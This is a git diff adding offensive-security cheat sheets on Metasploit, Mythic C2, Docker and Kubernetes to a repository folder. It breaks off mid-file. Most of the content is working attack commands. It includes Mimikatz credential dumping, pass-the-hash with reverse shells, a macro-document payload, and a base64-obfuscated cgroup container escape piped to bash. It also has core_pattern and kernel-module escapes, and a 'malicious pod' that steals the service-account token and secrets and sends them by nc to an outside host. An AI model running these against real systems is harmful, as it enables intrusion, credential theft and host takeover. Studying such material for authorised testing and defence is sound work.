Execute from Memory + +```powershell +execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w +``` + +### Mimikatz + +```powershell +load mimikatz +mimikatz_command -f version +mimikatz_command -f samdump::hashes +mimikatz_command -f sekurlsa::wdigest +mimikatz_command -f sekurlsa::searchPasswords +mimikatz_command -f sekurlsa::logonPasswords full +``` + +```powershell +load kiwi +creds_all +golden_ticket_create -d -k -s -u -t +``` + +### Pass the Hash - PSExec + +```powershell +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp +msf exploit(psexec) > exploit +SMBDomain WORKGROUP no The Windows domain to use for authentication +SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username +SMBUser Lambda no The username to authenticate as +``` + +### Use SOCKS Proxy + +```powershell +setg Proxies socks4:127.0.0.1:1080 +``` + +## Scripting Metasploit + +Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`. +Here is a simple example to script the deployment of a handler an create an Office doc with macro. + +```powershell +use exploit/multi/handler +set PAYLOAD windows/meterpreter/reverse_https +set LHOST 0.0.0.0 +set LPORT 4646 +set ExitOnSession false +exploit -j -z + + +use exploit/multi/fileformat/office_word_macro +set PAYLOAD windows/meterpreter/reverse_https +set LHOST 10.10.14.22 +set LPORT 4646 +exploit +``` + +## Multiple transports + +```powershell +msfvenom -p windows/meterpreter_reverse_tcp lhost= lport= sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe +``` + +Then, in AddTransports.ps1 + +```powershell +Add-TcpTransport -lhost -lport -RetryWait 10 -RetryTotal 30 +Add-WebTransport -Url http(s)://:/ -RetryWait 10 -RetryTotal 30 +``` + +## Best of - Exploits + +* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue` +* MS08_67 - `exploit/windows/smb/ms08_067_netapi` + +## References + +* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/) +* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331) diff --git a/personas/_shared/internal-allthethings/command-control/mythic.md b/personas/_shared/internal-allthethings/command-control/mythic.md new file mode 100644 index 0000000..ab45139 --- /dev/null +++ b/personas/_shared/internal-allthethings/command-control/mythic.md @@ -0,0 +1,74 @@ +# Mythic C2 + +## Summary + +* [Installation](#installation) +* [Agents](#agents) +* [Profiles](#profiles) +* [References](#references) + +## Installation + +```ps1 +sudo apt-get install build-essential +git clone https://github.com/its-a-feature/Mythic --depth 1 +./install_docker_ubuntu.sh +./install_docker_debian.sh +cd Mythic +sudo make +sudo ./mythic-cli start +``` + +## Agents + +* [Mythic Community Agent Feature Matrix](https://mythicmeta.github.io/overview/agent_matrix.html) + +Agents can be found at: [https://github.com/MythicAgents](https://github.com/MythicAgents) + +```ps1 +./mythic-cli install github https://github.com/MythicAgents/Medusa # A Mythic Agent compatible Python 2.7 and 3.8 +./mythic-cli install github https://github.com/MythicAgents/Hannibal # A Mythic Agent written in PIC C +./mythic-cli install github https://github.com/MythicAgents/thanatos # A Mythic C2 agent targeting Linux and Windows hosts written in Rust +./mythic-cli install github https://github.com/MythicAgents/poseidon # A Mythic Agent written in Golang for Linux/MacOS +./mythic-cli install github https://github.com/MythicAgents/Apollo # # A Mythic Agent written in C# using the 4.0 .NET Framework +./mythic-cli install github https://github.com/MythicAgents/Athena # A Mythic Agent written in .NET +./mythic-cli install github https://github.com/MythicAgents/Xenon # A Mythic Agent written in C, compatible with httpx profiles +``` + +## Profiles + +C2 Profiles can be found at: [https://github.com/MythicC2Profiles](https://github.com/MythicC2Profiles) + +```ps1 +./mythic-cli install github https://github.com/MythicC2Profiles/httpx +./mythic-cli install github https://github.com/MythicC2Profiles/http +./mythic-cli install github https://github.com/MythicC2Profiles/websocket +./mythic-cli install github https://github.com/MythicC2Profiles/dns +./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp +./mythic-cli install github https://github.com/MythicC2Profiles/smb +./mythic-cli install github https://github.com/MythicC2Profiles/tcp +``` + +## SSL + +If you want to use SSL, put your key and cert in the `C2_Profiles/HTTP/c2_code` folder and update the `key_path` and `cert_path` variables to have the `names` of those files. + +Use Let's Encrypt certbot to get both the key and certificate for your domain: + +```ps1 +sudo apt install certbot +certbot certonly --standalone -d "example.com" --register-unsafely-without-email --non-interactive --agree-tos +``` + +Add the file in the Agent container: + +```ps1 +docker cp /etc/letsencrypt/archive/example.com/fullchain1.pem http:/Mythic/http/c2_code/fullchain.pem +docker cp /etc/letsencrypt/archive/example.com/privkey1.pem http:/Mythic/http/c2_code/privkey.pem +``` + +Alternatively, if you specify `use_ssl` as true and you don't have any certs already placed on disk, then the profile will automatically generate some self-signed certs for you to use. + +## References + +* [Mythic Documentation](https://docs.mythic-c2.net) diff --git a/personas/_shared/internal-allthethings/containers/.gitkeep b/personas/_shared/internal-allthethings/containers/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/personas/_shared/internal-allthethings/containers/docker.md b/personas/_shared/internal-allthethings/containers/docker.md new file mode 100644 index 0000000..1700b46 --- /dev/null +++ b/personas/_shared/internal-allthethings/containers/docker.md @@ -0,0 +1,271 @@ +# Docker + +> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. + +## Summary + +- [Tools](#tools) +- [Mounted Docker Socket](#mounted-docker-socket) +- [Open Docker API Port](#open-docker-api-port) +- [Insecure Docker Registry](#insecure-docker-registry) +- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1) + - [Abusing CAP_SYS_ADMIN capability](#abusing-cap_sys_admin-capability) + - [Abusing coredumps and core_pattern](#abusing-coredumps-and-core_pattern) +- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc) +- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file) +- [References](#references) + +## Tools + +- [kost/dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations + + ```powershell + dockscan unix:///var/run/docker.sock + dockscan -r html -o myreport -v tcp://example.com:5422 + ``` + +- [stealthcopter/deepce](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) + + ```powershell + ./deepce.sh + ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce + ./deepce.sh --no-enumeration --exploit SOCK --shadow + ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked" + ``` + +- [orisano/dlayer](https://github.com/orisano/dlayer) : dlayer is docker layer analyzer. + + ```powershell + docker pull orisano/dlayer + docker save image:tag | dlayer -i + ``` + +- [wagoodman/dive](https://github.com/wagoodman/dive) : A tool for exploring each layer in a docker image + + ```powershell + alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive" + dive + ``` + +## Mounted Docker Socket + +Prerequisite: + +- Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"` + +Usually found in `/var/run/docker.sock`, for example for Portainer. + +```powershell +curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json +curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create +curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start +``` + +Exploit using [brompwnie/ed](https://github.com/brompwnie/ed) + +```powershell +root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true +[+] Hunt dem Socks +[+] Hunting Down UNIX Domain Sockets from: /var/run/ +[*] Valid Socket: /var/run/docker.sock +[+] Attempting to autopwn +[+] Hunting Docker Socks +[+] Attempting to Autopwn: /var/run/docker.sock +[*] Getting Docker client... +[*] Successfully got Docker client... +[+] Attempting to escape to host... +[+] Attempting in TTY Mode +chroot /host && clear +echo 'You are now on the underlying host' +chroot /host && clear +echo 'You are now on the underlying host' +/ # chroot /host && clear +/ # echo 'You are now on the underlying host' +You are now on the underlying host +/ # id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) +``` + +## Open Docker API Port + +Prerequisite: + +- Docker runned with `-H tcp://0.0.0.0:XXXX` + +```powershell +$ nmap -sCV 10.10.10.10 -p 2376 +2376/tcp open docker Docker 19.03.5 +| docker-version: +| Version: 19.03.5 +| MinAPIVersion: 1.12 +``` + +Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`. + +```powershell +$ export DOCKER_HOST=tcp://10.10.10.10:2376 +$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash +or +$ docker -H open.docker.socket:2375 ps +$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash +or +$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq +$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' +``` + +From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`. + +## Insecure Docker Registry + +Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`. + +```powershell +curl https://registry.example.com/v2//tags/list +docker pull https://registry.example.com:443/: + +# connect to the endpoint and list image blobs +curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog +curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list +curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest +# download blobs +curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz +# automated download +https://github.com/NotSoSecure/docker_fetch/ +python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local +``` + +Access a private registry and start a container with one of its image + +```powershell +docker login -u admin -p admin docker.registry.local +docker pull docker.registry.local/wordpress-image +docker run -it docker.registry.local/wordpress-image /bin/bash +``` + +Access a private registry using OAuth Token from Google + +```powershell +curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email +curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token +docker login -e -u oauth2accesstoken -p "" https://gcr.io +``` + +## Exploit privileged container abusing the Linux cgroup v1 + +Prerequisite (at least one): + +- `--privileged` +- `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags. + +### Abusing CAP_SYS_ADMIN capability + +```powershell +docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -' +``` + +Exploit breakdown : + +```powershell +# On the host +docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash + +# In the container +mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x + +echo 1 > /tmp/cgrp/x/notify_on_release +host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +echo "$host_path/cmd" > /tmp/cgrp/release_agent + +echo '#!/bin/sh' > /cmd +echo "ps aux > $host_path/output" >> /cmd +chmod a+x /cmd + +sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +``` + +### Abusing coredumps and core_pattern + +1. Find the mounting point using `mount` + + ```ps1 + $ mount | head -n 1 + overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work) + ``` + +2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc` +3. Set the program to be executed on the coredumps + + ```ps1 + echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern + ``` + +4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash` + + ```cpp + int main(void) { + char buf[1]; + for (int i = 0; i < 100; i++) { + buf[i] = 1; + } + return 0; + } + ``` + +5. Your payload should have been executed on the host + +## Breaking out of Docker via runC + +> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team + +Exploit for CVE-2019-5736 : [twistlock/RunC-CVE-2019-5736](https://github.com/twistlock/RunC-CVE-2019-5736) + +```powershell +docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC +docker run --rm cve-2019-5736:malicious_image_POC +``` + +## Breaking out of containers using a device file + +```powershell +https://github.com/FSecureLABS/fdpasser +In container, as root: ./fdpasser recv /moo /etc/shadow +Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo +Outside container: ls -la /etc/shadow +Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow +``` + +## Breaking out of Docker via kernel modules loading + +> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. + +Exploitation: + +- Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping` +- Build with `make` +- Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` +- `cd /root` in the new container +- Insert the kernel module with `./escape` +- Run `./execute`! + +Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. + +- `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). +- `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. + +The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. + +Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). + +The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. + +## References + +- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/) +- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) +- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) +- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) +- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) +- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/) +- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping) +- [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/) diff --git a/personas/_shared/internal-allthethings/containers/kubernetes.md b/personas/_shared/internal-allthethings/containers/kubernetes.md new file mode 100644 index 0000000..c49eb0a --- /dev/null +++ b/personas/_shared/internal-allthethings/containers/kubernetes.md @@ -0,0 +1,391 @@ +# Kubernetes + +> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation. + +## Summary + +- [Tools](#tools) +- [Container Environment](#container-environment) +- [Information Gathering](#information-gathering) +- [RBAC Configuration](#rbac-configuration) + - [Listing Secrets](#listing-secrets) + - [Access Any Resource or Verb](#access-any-resource-or-verb) + - [Pod Creation](#pod-creation) + - [Privilege to Use Pods/Exec](#privilege-to-use-podsexec) + - [Privilege to Get/Patch Rolebindings](#privilege-to-getpatch-rolebindings) + - [Impersonating a Privileged Account](#impersonating-a-privileged-account) +- [Privileged Service Account Token](#privileged-service-account-token) +- [Kubernetes Endpoints](#kubernetes-endpoints) +- [Exploits](#exploits) + - [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp) + - [Obtaining Service Account Token](#obtaining-service-account-token) +- [References](#references) + +## Tools + +- [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges. + + ```ps1 + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml + kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml + ``` + +- [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication +- [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph + + ```ps1 + # Critical paths enumeration + kh.containers().criticalPaths().count() + kh.containers().dedup().by("name").criticalPaths().count() + kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count() + kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count() + kh.endpoints(EndpointExposure.External).criticalPaths().count() + kh.services().criticalPaths().count() + + # DNS services and port + kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1) + .dedup().valueMap("serviceDns","port") + .group().by("serviceDns").by("port") + ``` + +- [Shopify/kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns +- [aquasecurity/kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/) +- [aquasecurity/kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters +- [armosec/kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues +- [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources +- [katacoda.com](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios + +## Container Environment + +Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default. + +### Service Account + +Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume: + +```ps1 +/var/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/ca.crt +``` + +If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly. + +### Environment Variables + +The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to. + +```ps1 +KUBERNETES_SERVICE_HOST=192.168.154.228 +KUBERNETES_SERVICE_PORT=443 +``` + +Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns: + +- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service. +- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes. + +For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed: + +```ps1 +REDIS_MASTER_SERVICE_HOST=10.0.0.11 +REDIS_MASTER_SERVICE_PORT=6379 +REDIS_MASTER_PORT=tcp://10.0.0.11:6379 +REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379 +REDIS_MASTER_PORT_6379_TCP_PROTO=tcp +REDIS_MASTER_PORT_6379_TCP_PORT=6379 +REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11 +``` + +### Simulating `kubectl` API Requests + +Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` _locally_ to determine the correct API request to send from the container. + +1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...` +1. The output will include HTTP API endpoint URL, the request body, and an example curl command. +1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables. +1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container. +1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag). + +For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request: + +```powershell +# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted. +$ kubectl -v9 auth can-i --list +I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config +I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}} +I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews' +I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds +I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers: +... +``` + +## Information Gathering + +### Service Account Permissions + +The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier. +The following can be used to determine the service account's permissions: + +```powershell +# Namespace-level permissions using kubectl +kubectl auth can-i --list + +# Cluster-level permissions using kubectl +kubectl auth can-i --list --namespace=kube-system + +# Permissions list using curl +NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace") +# For cluster-level, use NAMESPACE="kube-system" instead + +MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" +TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token") +curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ + --cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \ + --header "Authorization: Bearer ${TOKEN}" \ + --header "Content-Type: application/json" \ + --data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}' +``` + +### Secrets, ConfigMaps, and Volumes + +Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster. + +From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`. + +True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`. + +### Privileged Containers + +Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely). + +While there is no official way to check for privileged mode from _within_ a container, checking if `/dev/kmsg` exists will usually suffice. + +## RBAC Configuration + +### Listing Secrets + +An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace. + +```powershell +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ +curl -k -v -H "Authorization: Bearer " -H "Content-Type: application/json" https://:6443/api/v1/namespaces/default/secrets | jq -r '.items[].data' +``` + +### Access Any Resource or Verb + +```powershell +resources: +- '*' +verbs: +- '*' +``` + +### Pod Creation + +Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. +Then create a malicious pod.yaml file. + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: alpine + namespace: kube-system +spec: + containers: + - name: alpine + image: alpine + command: ["/bin/sh"] + args: + [ + "-c", + 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000', + ] + serviceAccountName: bootstrap-signer + automountServiceAccountToken: true + hostNetwork: true +``` + +Then `kubectl apply -f malicious-pod.yaml` + +### Privilege to Use Pods/Exec + +```powershell +kubectl exec -it -n –- sh +``` + +### Privilege to Get/Patch Rolebindings + +The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. +Create a malicious RoleBinging.json file. + +```powershell +{ + "apiVersion": 